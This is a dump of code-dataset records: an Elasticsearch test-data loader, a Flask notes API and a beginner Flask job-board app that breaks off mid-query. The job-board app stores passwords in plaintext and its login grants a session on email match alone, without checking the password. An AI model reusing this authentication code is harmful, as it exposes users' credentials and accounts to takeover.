{"api_name": "os.makedirs", "line_number": 132, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "shutil.move", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 167, "usage_type": "call"}, {"api_name": "os.path", "line_number": 167, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path", "line_number": 169, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path", "line_number": 171, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 207, "usage_type": "call"}, {"api_name": "os.path", "line_number": 207, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 207, "usage_type": "call"}, {"api_name": "os.chmod", "line_number": 221, "usage_type": "call"}, {"api_name": "stat.S_IWRITE", "line_number": 221, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 222, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 225, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path", "line_number": 232, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 234, "usage_type": "call"}]}
{"seq_id": "31317283066", "text": "import json\n\nfrom elasticsearch import Elasticsearch\n\nfrom es_schemas.filmwork_schema import SCHEMA as FILMWORKS_INDEX_BODY\nfrom es_schemas.genre_schema import SCHEMA as GENRES_INDEX_BODY\nfrom es_schemas.person_schema import SCHEMA as PERSONS_INDEX_BODY\nfrom tests.functional.settings import settings\n\nINDEXES = {\n    \"persons\": PERSONS_INDEX_BODY,\n    \"genres\": GENRES_INDEX_BODY,\n    \"movies\": FILMWORKS_INDEX_BODY,\n}\n\ngenres = [\n    {\n        \"id\": \"0b105f87-e0a5-45dc-8ce7-f8632088f390\",\n        \"name\": \"Western\",\n        \"popular\": 0,\n        \"description\": None,\n        \"modified\": \"2023-01-01T00:00:00.309836+00:00\",\n    },\n    {\n        \"id\": \"c020dab2-e9bd-4758-95ca-dbe363462173\",\n        \"name\": \"War\",\n        \"popular\": 0,\n        \"description\": None,\n        \"modified\": \"2023-01-01T00:00:00.309836+00:00\",\n    },\n]\npersons = [\n    {\n        \"id\": \"4a416628-4a36-431c-9121-513674dae840\",\n        \"full_name\": \"Zoe Saldana\",\n        \"role\": \"actor\",\n        \"film_ids\": [\n            \"6ecc7a32-14a1-4da8-9881-bf81f0f09897\",\n            \"b1f1e8a6-e310-47d9-a93c-6a7b192bac0e\"\n        ],\n        \"modified\": \"2023-01-01T00:00:00.309836+00:00\",\n    },\n    {\n        \"id\": \"8a34f121-7ce6-4021-b467-abec993fc6cd\",\n        \"full_name\": \"Zachary Quinto\",\n        \"role\": \"actor\",\n        \"film_ids\": [\n            \"020adfa7-7251-4fb9-b6db-07b60664cb67\",\n            \"4af6c9c9-0be0-4864-b1e9-7f87dd59ee1f\",\n            \"6ecc7a32-14a1-4da8-9881-bf81f0f09897\",\n            \"b1f1e8a6-e310-47d9-a93c-6a7b192bac0e\"\n        ],\n        \"modified\": \"2023-01-01T00:00:00.309836+00:00\",\n    },\n]\n\nmovies = [\n    {\n        \"id\": \"2a090dde-f688-46fe-a9f4-b781a985275e\",\n        \"title\": \"Star Wars: Knights of the Old Republic\",\n        \"imdb_rating\": \"9.6\",\n        \"modified\": \"2023-01-01T00:00:00.309836+00:00\",\n    },\n    {\n        \"id\": \"c241874f-53d3-411a-8894-37c19d8bf010\",\n        \"title\": \"Star Wars SC 38 Reimagined\",\n        \"imdb_rating\": \"9.5\",\n        \"modified\": \"2023-01-01T00:00:00.309836+00:00\",\n    },\n]\n\n\ndef data_for_elastic() -> str:\n    json_list = []\n    for record in persons:\n        index_info = {\"index\": {\"_index\": \"persons\", \"_id\": record[\"id\"]}}\n        json_list.append(index_info)\n        json_list.append(record)\n    for record in movies:\n        index_info = {\"index\": {\"_index\": \"movies\", \"_id\": record[\"id\"]}}\n        json_list.append(index_info)\n        json_list.append(record)\n    for record in genres:\n        index_info = {\"index\": {\"_index\": \"genres\", \"_id\": record[\"id\"]}}\n        json_list.append(index_info)\n        json_list.append(record)\n\n    json_list = \"\\n\".join(json.dumps(j) for j in json_list)\n    json_list += \"\\n\"\n\n    return json_list\n\n\ndef main():\n    es_client = Elasticsearch(f\"{settings.ELASTIC_HOST}:{settings.ELASTIC_PORT}\")\n    for index in INDEXES:\n        if not es_client.es.indices.exists(index=index):\n            es_client.es.indices.create(index=index, body=INDEXES[index])\n    index_data = {\"movies\": movies, \"genres\": genres, \"persons\": persons}\n    for index, data in index_data.items():\n        for d in data:\n            es_client.index(index=index, id=d[\"id\"], body=d, doc_type=\"_doc\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "crank2303/Async_API_tests", "sub_path": "tests/functional/testdata/es_mapping.py", "file_name": "es_mapping.py", "file_ext": "py", "file_size_in_byte": 3199, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "es_schemas.person_schema.SCHEMA", "line_number": 11, "usage_type": "name"}, {"api_name": "es_schemas.genre_schema.SCHEMA", "line_number": 12, "usage_type": "name"}, {"api_name": "es_schemas.filmwork_schema.SCHEMA", "line_number": 13, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 88, "usage_type": "call"}, {"api_name": "elasticsearch.Elasticsearch", "line_number": 95, "usage_type": "call"}, {"api_name": "tests.functional.settings.settings.ELASTIC_HOST", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tests.functional.settings.settings", "line_number": 95, "usage_type": "name"}, {"api_name": "tests.functional.settings.settings.ELASTIC_PORT", "line_number": 95, "usage_type": "attribute"}]}
{"seq_id": "25971508046", "text": "from flask.views import MethodView\nfrom flask_smorest import Blueprint, abort\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\nfrom sqlalchemy import func\nimport logging\nfrom flask import request\nimport secrets\n\nfrom db import db\nfrom app.models import Note, Tag\nfrom app.schemas import (\n    NoteSchema,\n    NoteListResponseSchema,\n    NoteListSchema,\n    NoteListQuerySchema,\n    NoteUpdateSchema,\n    ShareViaEmailSchema\n)\nfrom app.email import send_email\n\nnote_blp = Blueprint(\"Notes\", \"notes\", description=\"Operations on notes\")\n\n\n@note_blp.route(\"/note/\")\nclass NoteResource(MethodView):\n    @jwt_required()\n    @note_blp.response(200, NoteSchema)\n    def get(self, note_id):\n        current_user = get_jwt_identity()\n        note = Note.query.get_or_404(note_id)\n\n        if note.user_id != current_user:\n            abort(403, message=\"You are not authorized to access this note.\")\n\n        return note\n\n    @jwt_required(fresh=True)\n    def delete(self, note_id):\n        current_user = get_jwt_identity()\n        note = Note.query.get_or_404(note_id)\n\n        # Check if the note belongs to the current user\n        if note.user_id != current_user:\n            abort(403, message=\"You are not authorized to delete this note.\")\n\n        note.delete_from_db()\n        return {\"message\": \"Note deleted.\"}\n\n    @jwt_required(fresh=True)\n    @note_blp.arguments(NoteUpdateSchema)\n    @note_blp.response(200, NoteSchema)\n    def put(self, note_data, note_id):\n        note = Note.query.get(note_id)\n        current_user = get_jwt_identity()\n        note = Note.query.get_or_404(note_id)\n\n        # Check if the note belongs to the current user\n        if note.user_id != current_user:\n            abort(403, message=\"You are not authorized to update this note.\")\n\n        if note:\n            note.title = note_data[\"title\"]\n            note.content = note_data[\"content\"]\n        else:\n            note = Note(id=note_id, **note_data)\n\n        note.save_to_db()\n\n        return note\n\n\n@note_blp.route(\"/note\")\nclass NoteList(MethodView):\n    @jwt_required(fresh=True)\n    @note_blp.arguments(NoteSchema)\n    @note_blp.response(201, NoteSchema)\n    def post(self, note_data):\n        current_user = get_jwt_identity()\n        note = Note(**note_data)\n\n        # Check if the note belongs to the current user\n        if note.user_id != current_user:\n            abort(403, message=\"You are not authorized to create note.\")\n\n        # Check if a note with the same title already exists for the current user\n        existing_note = Note.query.filter_by(user_id=current_user, title=note_data[\"title\"]).first()\n        if existing_note:\n            abort(400, message=\"A note with the same title already exists.\")\n\n        note = Note(**note_data)\n        note.user_id = current_user\n\n        try:\n            note.save_to_db()\n        except SQLAlchemyError:\n            abort(500, message=\"An error occurred while inserting the note.\")\n\n        return note\n\n    @jwt_required()\n    @note_blp.arguments(NoteListQuerySchema, location=\"query\", validate=False)\n    @note_blp.response(200, NoteListResponseSchema)\n    def get(self, query_params):\n        current_user = get_jwt_identity()\n\n        # Convert empty string values to None\n        page = query_params.get(\"page\", None)\n        per_page = query_params.get(\"per_page\", None)\n        sort_by = query_params.get(\"sort_by\", \"date\")\n        order = query_params.get(\"order\", \"desc\")\n        tag = query_params.get(\"tag\")\n\n        # Handle defaults if values are None\n        if page is None:\n            page = 1\n        if per_page is None:\n            per_page = 10\n\n        logging.debug(f\"Page: {page}, Per Page: {per_page}, Tag: {tag}\")\n\n        # Build the query based on the query parameters and user identity\n        query = Note.query.filter_by(user_id=current_user)\n\n        if tag:\n            query = query.join(Note.tags).filter(func.lower(Tag.name) == tag.lower())\n\n        logging.debug(f\"Query: {query}\")\n\n        if sort_by == \"date\":\n            query = query.order_by(Note.date.desc() if order == \"desc\" else Note.date)\n        elif sort_by == \"title\":\n            query = query.order_by(Note.title.desc() if order == \"desc\" else Note.title)\n\n        notes = query.options(db.joinedload(Note.tags)).paginate(page=page, per_page=per_page, error_out=False)\n\n        logging.debug(f\"Notes Items: {notes.items}\")\n\n        serialized_notes = NoteListSchema(many=True).dump(notes.items)\n\n        return {\n            \"notes\": serialized_notes,\n            \"page\": notes.page,\n            \"per_page\": notes.per_page,\n            \"total_pages\": notes.pages,\n            \"total_notes\": notes.total,\n        }, 200\n\n\n@note_blp.route(\"/note//favorite\")\nclass FavoriteNoteResource(MethodView):\n    @jwt_required()\n    @note_blp.response(200, NoteSchema)\n    def post(self, note_id):\n        current_user = get_jwt_identity()\n        note = Note.query.get_or_404(note_id)\n\n        if note.user_id != current_user:\n            abort(403, message=\"You are not authorized to mark this note as a favorite.\")\n\n        note.is_favorite = True\n        note.save_to_db()\n\n        return note\n\n\n@note_blp.route(\"/favorites\")\nclass FavoriteNotesList(MethodView):\n    @jwt_required()\n    @note_blp.response(200, NoteSchema(many=True))\n    def get(self):\n        current_user = get_jwt_identity()\n        favorite_notes = Note.query.filter_by(user_id=current_user, is_favorite=True).all()\n        return favorite_notes\n\n\n@note_blp.route(\"/note//shareable-link\")\nclass ShareableLinkResource(MethodView):\n    @jwt_required()\n    @note_blp.response(200, NoteSchema)\n    def post(self, note_id):\n        current_user = get_jwt_identity()\n        note = Note.query.get_or_404(note_id)\n\n        if note.user_id != current_user:\n            abort(403, message=\"You are not authorized to generate a shareable link for this note.\")\n\n        shareable_link = secrets.token_urlsafe(20)\n        note.shareable_link = shareable_link\n        note.save_to_db()\n\n        return note\n\n\n@note_blp.route(\"/note//share-via-email\")\nclass ShareViaEmailResource(MethodView):\n    @jwt_required()\n    @note_blp.arguments(ShareViaEmailSchema)\n    @note_blp.response(200, description=\"Note shared successfully.\")\n    def post(self, note_data, note_id):\n        current_user = get_jwt_identity()\n        note = Note.query.get_or_404(note_id)\n\n        if note.user_id != current_user:\n            abort(403, message=\"You are not authorized to share this note.\")\n\n        recipient_email = note_data[\"email\"]\n        # Send an email to the recipient with the shareable link\n        send_email(recipient_email, \"Note Sharing\", f\"Here's the shareable link: {note.shareable_link}\")\n\n        return {\"message\": \"Note shared successfully.\"}\n\n\n@note_blp.route(\"/note/search\")\nclass SearchNotes(MethodView):\n    @jwt_required()\n    @note_blp.response(200, NoteSchema(many=True))\n    def get(self):\n        current_user = get_jwt_identity()\n        search_query = request.args.get(\"query\")\n\n        if not search_query:\n            abort(400, message=\"Missing search query.\")\n\n        notes = Note.query.filter_by(user_id=current_user).filter(\n            db.or_(\n                Note.title.ilike(f\"%{search_query}%\"),\n                Note.content.ilike(f\"%{search_query}%\"),\n                Note.tags.any(Tag.name.ilike(f\"%{search_query}%\"))\n            )\n        ).all()\n\n        return notes\n", "repo_name": "Adebowale-Morakinyo/NotesAPI_v2", "sub_path": "app/resources/note.py", "file_name": "note.py", "file_ext": "py", "file_size_in_byte": 7512, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask_smorest.Blueprint", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.views.MethodView", "line_number": 26, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 30, "usage_type": "call"}, {"api_name": "app.models.Note.query.get_or_404", "line_number": 31, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 31, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 34, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 27, "usage_type": "call"}, {"api_name": "app.schemas.NoteSchema", "line_number": 28, "usage_type": "argument"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 40, "usage_type": "call"}, {"api_name": "app.models.Note.query.get_or_404", "line_number": 41, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 41, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 41, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 45, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 38, "usage_type": "call"}, {"api_name": "app.models.Note.query.get", "line_number": 54, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 54, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 54, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 55, "usage_type": "call"}, {"api_name": "app.models.Note.query.get_or_404", "line_number": 56, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 56, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 60, "usage_type": "call"}, {"api_name": "app.models.Note", "line_number": 66, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 50, "usage_type": "call"}, {"api_name": "app.schemas.NoteUpdateSchema", "line_number": 51, "usage_type": "argument"}, {"api_name": "app.schemas.NoteSchema", "line_number": 52, "usage_type": "argument"}, {"api_name": "flask.views.MethodView", "line_number": 74, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 79, "usage_type": "call"}, {"api_name": "app.models.Note", "line_number": 80, "usage_type": "call"}, {"api_name": "flask_smorest.abort", "line_number": 84, "usage_type": "call"}, {"api_name": "app.models.Note.query.filter_by", "line_number": 87, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 87, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 87, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 89, "usage_type": "call"}, {"api_name": "app.models.Note", "line_number": 91, "usage_type": "call"}, {"api_name": "sqlalchemy.exc.SQLAlchemyError", "line_number": 96, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 97, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 75, "usage_type": "call"}, {"api_name": "app.schemas.NoteSchema", "line_number": 76, "usage_type": "argument"}, {"api_name": "app.schemas.NoteSchema", "line_number": 77, "usage_type": "argument"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 105, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 120, "usage_type": "call"}, {"api_name": "app.models.Note.query.filter_by", "line_number": 123, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 123, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 123, "usage_type": "name"}, {"api_name": "app.models.Note.tags", "line_number": 126, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 126, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 126, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 126, "usage_type": "name"}, {"api_name": "app.models.Tag.name", "line_number": 126, "usage_type": "attribute"}, {"api_name": "app.models.Tag", "line_number": 126, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 128, "usage_type": "call"}, {"api_name": "app.models.Note.date.desc", "line_number": 131, "usage_type": "call"}, {"api_name": "app.models.Note.date", "line_number": 131, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 131, "usage_type": "name"}, {"api_name": "app.models.Note.title.desc", "line_number": 133, "usage_type": "call"}, {"api_name": "app.models.Note.title", "line_number": 133, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 133, "usage_type": "name"}, {"api_name": "db.db.joinedload", "line_number": 135, "usage_type": "call"}, {"api_name": "db.db", "line_number": 135, "usage_type": "name"}, {"api_name": "app.models.Note.tags", "line_number": 135, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 135, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 137, "usage_type": "call"}, {"api_name": "app.schemas.NoteListSchema", "line_number": 139, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 101, "usage_type": "call"}, {"api_name": "app.schemas.NoteListQuerySchema", "line_number": 102, "usage_type": "argument"}, {"api_name": "app.schemas.NoteListResponseSchema", "line_number": 103, "usage_type": "argument"}, {"api_name": "flask.views.MethodView", "line_number": 151, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 155, "usage_type": "call"}, {"api_name": "app.models.Note.query.get_or_404", "line_number": 156, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 156, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 156, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 159, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 152, "usage_type": "call"}, {"api_name": "app.schemas.NoteSchema", "line_number": 153, "usage_type": "argument"}, {"api_name": "flask.views.MethodView", "line_number": 168, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 172, "usage_type": "call"}, {"api_name": "app.models.Note.query.filter_by", "line_number": 173, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 173, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 173, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 169, "usage_type": "call"}, {"api_name": "app.schemas.NoteSchema", "line_number": 170, "usage_type": "call"}, {"api_name": "flask.views.MethodView", "line_number": 178, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 182, "usage_type": "call"}, {"api_name": "app.models.Note.query.get_or_404", "line_number": 183, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 183, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 183, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 186, "usage_type": "call"}, {"api_name": "secrets.token_urlsafe", "line_number": 188, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 179, "usage_type": "call"}, {"api_name": "app.schemas.NoteSchema", "line_number": 180, "usage_type": "argument"}, {"api_name": "flask.views.MethodView", "line_number": 196, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 201, "usage_type": "call"}, {"api_name": "app.models.Note.query.get_or_404", "line_number": 202, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 202, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 202, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 205, "usage_type": "call"}, {"api_name": "app.email.send_email", "line_number": 209, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 197, "usage_type": "call"}, {"api_name": "app.schemas.ShareViaEmailSchema", "line_number": 198, "usage_type": "argument"}, {"api_name": "flask.views.MethodView", "line_number": 215, "usage_type": "name"}, {"api_name": "flask_jwt_extended.get_jwt_identity", "line_number": 219, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 220, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 220, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 220, "usage_type": "name"}, {"api_name": "flask_smorest.abort", "line_number": 223, "usage_type": "call"}, {"api_name": "app.models.Note.query.filter_by", "line_number": 225, "usage_type": "call"}, {"api_name": "app.models.Note.query", "line_number": 225, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 225, "usage_type": "name"}, {"api_name": "db.db.or_", "line_number": 226, "usage_type": "call"}, {"api_name": "db.db", "line_number": 226, "usage_type": "name"}, {"api_name": "app.models.Note.title.ilike", "line_number": 227, "usage_type": "call"}, {"api_name": "app.models.Note.title", "line_number": 227, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 227, "usage_type": "name"}, {"api_name": "app.models.Note.content.ilike", "line_number": 228, "usage_type": "call"}, {"api_name": "app.models.Note.content", "line_number": 228, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 228, "usage_type": "name"}, {"api_name": "app.models.Note.tags.any", "line_number": 229, "usage_type": "call"}, {"api_name": "app.models.Note.tags", "line_number": 229, "usage_type": "attribute"}, {"api_name": "app.models.Note", "line_number": 229, "usage_type": "name"}, {"api_name": "app.models.Tag.name.ilike", "line_number": 229, "usage_type": "call"}, {"api_name": "app.models.Tag.name", "line_number": 229, "usage_type": "attribute"}, {"api_name": "app.models.Tag", "line_number": 229, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 216, "usage_type": "call"}, {"api_name": "app.schemas.NoteSchema", "line_number": 217, "usage_type": "call"}]}
{"seq_id": "6619109962", "text": "from flask import Flask, render_template, flash, session\nfrom flask import request\nfrom flask import redirect\nfrom mysqlconnection import connectToMySQL\nimport re\n\napp = Flask(__name__)\napp.secret_key = 'keep it secret, keep it safe'\nEMAIL_REGEX = re.compile(r'^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9._-]+\\.[a-zA-Z]+$')\n\n@app.route('/')\ndef start():\n    \n    print(\"I am in the GET method of /\")\n    return render_template(\"index.html\")\n\n@app.route('/register', methods=[\"POST\"])\ndef register():\n    # include some logic to validate user input before adding them to the database!\n    # create the hash\n    # pw_hash = bcrypt.generate_password_hash(request.form['password'])  \n    print(\"I am inside /login POST****************************************\")\n    # if len(request.form['first']) < 2:\n    # \tflash(\"Please enter a firstname\")\n    # if len(request.form['last']) < 2:\n    # \tflash(\"Please enter a lastname\")\n    # if len(request.form['email']) < 2:\n    # \tflash(\"Please enter a email\")\n    # if len(request.form['password']) < 2:\n    # \tflash(\"Please enter a password\")\n    # if (request.form['confirm_password'] != request.form['password']):\n    # \tflash(\"Please enter a firstname\")\n    is_valid = True\t\n    if (request.form['first'] == \"\"):\n        is_valid = False\n        flash(\"First name not submitted\")\n    if len(request.form['first']) < 2:\n        is_valid = False\n        flash(\"Please enter a firstname longer than 2 chars\")\n    if (request.form['last'] == \"\"):\n        is_valid = False\n        flash(\"Last name not submitted\")\n    if not(request.form['first'].isalpha()):\n        is_valid = False\n        flash(\"Please enter only text\")\n    if len(request.form['last']) < 2:\n        is_valid = False\n        flash(\"Please enter a lastname longer than 2 chars\")\n    if not(request.form['last'].isalpha()):\n        is_valid = False\n        flash(\"Please enter only text\")\n    if len(request.form['first']) < 2:\n        is_valid = False\n        flash(\"Please enter a firstname longer than 2 chars\")\n    if request.form['email'].isalpha():\n        is_valid = False\n        flash(\"Please enter only text\")\n    if not EMAIL_REGEX.match(request.form['email']): \n        # test whether a field matches the pattern\n        is_valid = False\n        flash(\"Invalid email address!\")\n    if (request.form['password'] != request.form['confirm_password']):\n        is_valid = False\n        flash(\"Password and confirm_password do not match\")\n    if is_valid == False:\n        return redirect(\"/\")\n    if is_valid == True:\n        mysql = connectToMySQL(\"EXAM\")\n        # query = \"INSERT INTO Registered_Users (username, password) VALUES (%(username)s, %(password_hash)s);\"\n        # # put the pw_hash in our data dictionary, NOT the password the user provided\n        # data = { \"username\" : request.form['username'],\n        #      \"password_hash\" : pw_hash }\n        # mysql.query_db(query, data)\n        print(\"+++++++++++++++++++Before INSERT\")\n        data = {\"first\" : request.form['first'],\n                \"last\" : request.form['last'],\n                \"email\" : request.form['email'],\n                \"password\" : request.form['password']}\n        query = \"INSERT INTO Users VALUES (NULL, %(first)s, %(last)s, %(email)s, %(password)s,NOW(), NOW())\"\n        print(query)\n        new_registereduser_id = mysql.query_db(query,data)\n        session['id'] =new_registereduser_id\n        session['name']= request.form['first']\n        print(\"____\"*10)\n        print(session['name'])  \n    return redirect(\"/dashboard\")\n    \n\n@app.route('/login', methods=[\"POST\"])\ndef login():\n    # include some logic to validate user input before adding them to the database!\n    # create the hash\n    # pw_hash = bcrypt.generate_password_hash(request.form['password'])  \n    print(\"I am inside / POST****************************************\")\n    # if len(request.form['first']) < 2:\n    # \tflash(\"Please enter a firstname\")\n    # if len(request.form['last']) < 2:\n    # \tflash(\"Please enter a lastname\")\n    # if len(request.form['email']) < 2:\n    # \tflash(\"Please enter a email\")\n    # if len(request.form['password']) < 2:\n    # \tflash(\"Please enter a password\")\n    # if (request.form['confirm_password'] != request.form['password']):\n    # \tflash(\"Please enter a firstname\")\n\n    # if not EMAIL_REGEX.match(request.form['email']): \n    #     # test whether a field matches the pattern\n    #     is_valid = False\n    #     flash(\"Invalid email address!\")\n    is_valid = True\n    if not EMAIL_REGEX.match(request.form['email']): \n        flash(\"Invalid email address\")\n        is_valid = False\n    if len(request.form['email']) < 2:\n        flash(\"Please enter a Email\")\n        is_valid = False\n    if len(request.form['password']) < 2:\n        flash(\"Please enter a password\")\n        is_valid = False\n    if is_valid == False:\n        print(\"GOT THIS FAR AFTER VALIDATONS\")\n        return redirect(\"/\")\n\n    # query = \"INSERT INTO Registered_Users (username, password) VALUES (%(username)s, %(password_hash)s);\"\n        # # put the pw_hash in our data dictionary, NOT the password the user provided\n        # data = { \"username\" : request.form['username'],\n        #      \"password_hash\" : pw_hash }\n        # mysql.query_db(query, data)\n        # print(\"+++++++++++++++++++Before INSERT\")\n        # data = {\"first\" : request.form['first'],\n        #         \"last\" : request.form['last'],\n        #         \"email\" : request.form['email'],\n        #         \"password\" : request.form['password']}\n        # query = \"INSERT INTO Registered_Users VALUES (NULL, %(first)s, %(last)s, %(email)s, %(password)s)\"\n        # print(query)\n    \n    mysql = connectToMySQL(\"EXAM\")\n    query = \"select * from EXAM where Email = (%(email)s) \"\n    # # put the pw_hash in our data dictionary, NOT the password the user provided\n    data = { \"email\" : request.form['email']}\n    print(\"+++++++++++++++++++Printing data++++++++++++++++++++++\")\n    print(data)\n    user_found = mysql.query_db(query, data)\n    if user_found:\n    # never render on a post, always redirect!  \n        print(\"User_found\" * 8)\n        session['first'] = user_found[0]['first']\n        session['id'] = user_found[0]['user_id']\n        print(\"PPPP\"*10)\n        print(session['id'])\n        return redirect(\"/dashboard\")\n    else: \n        return redirect(\"/\")\n\n@app.route(\"/dashboard\")\ndef dashboard():\n    saved_session = session['id']\n    mysql = connectToMySQL(\"EXAM\")\n    query = \"select  job_id,title,location, users_id from Jobs\"\n    # # put the pw_hash in our data dictionary, NOT the password the user provided\n    print(\"%%\"*20, session['id'])\n    data = { \"saved_session\" : session['id']}\n    jobs_found = mysql.query_db(query, data)\n    print(\"##\" * 50)\n    print(jobs_found)\n    print(\"Inside dashbord\")\n    return render_template(\"dashboard.html\", jobs=jobs_found)\n\n@app.route('/viewjob/')\ndef viewjob():\n    mysql = connectToMySQL(\"EXAM\")\n    query = \"SELECT * FROM Jobs WHERE job_id = %(jobid)s\"\n    data = { \n    \"jobid\": session[\"job_id\"]}\n    query_result = mysql.query_db(query,data)\n    print(\"query_result:\", query_result)\n    print(\"Inside viewjob\")\n    return render_template(\"viewjob.html\", query_result= query_result)\n\n\n@app.route('/newjob')\ndef newjob():\n    print(\"XXXXXXXXXXXXXXXXXXX\")\n    print(\"Inside newjob\")\n    return render_template(\"new.html\")\n\n@app.route('/editjob/')\ndef editjob(id):\n    session[\"job_id\"]= id\n    print(\"XXXXXXXXXXXXXXXXXXX\")\n    print(\"Inside editjob\")\n    return render_template(\"editjob.html\")\n\n@app.route('/logout')\ndef logout():\n    print(\"XXXXXXXXXXXXXXXXXXX\")\n    session.clear()\n    print(\"Inside logout\")\n    return redirect(\"/\")\n\n@app.route('/remove')\ndef remove():\n    print(\"REMOVEREMOVEREMOVEREMOVEREMOVEREMOVEREMOVE\")\n    print(\"Inside remove\")\n    return redirect(\"/dashboard\")\n\n@app.route('/cancel')\ndef cancel():\n    print(\"cancelcancelcancelcancelcancelcancelcancelcancelcancelcancelcancelcancel\")\n    print(\"Inside cancel\")\n    print (request.form)\n    return redirect(\"/dashboard\")\n\n@app.route('/submit', methods= ['POST'])\ndef submit():\n    print(\"submitsubmitsubmitsubmitsubmitsubmitsubmitsubmitsubmitsubmit\")\n    print(\"Inside submit\")\n    mysql = connectToMySQL(\"EXAM\")\n    query = \"UPDATE 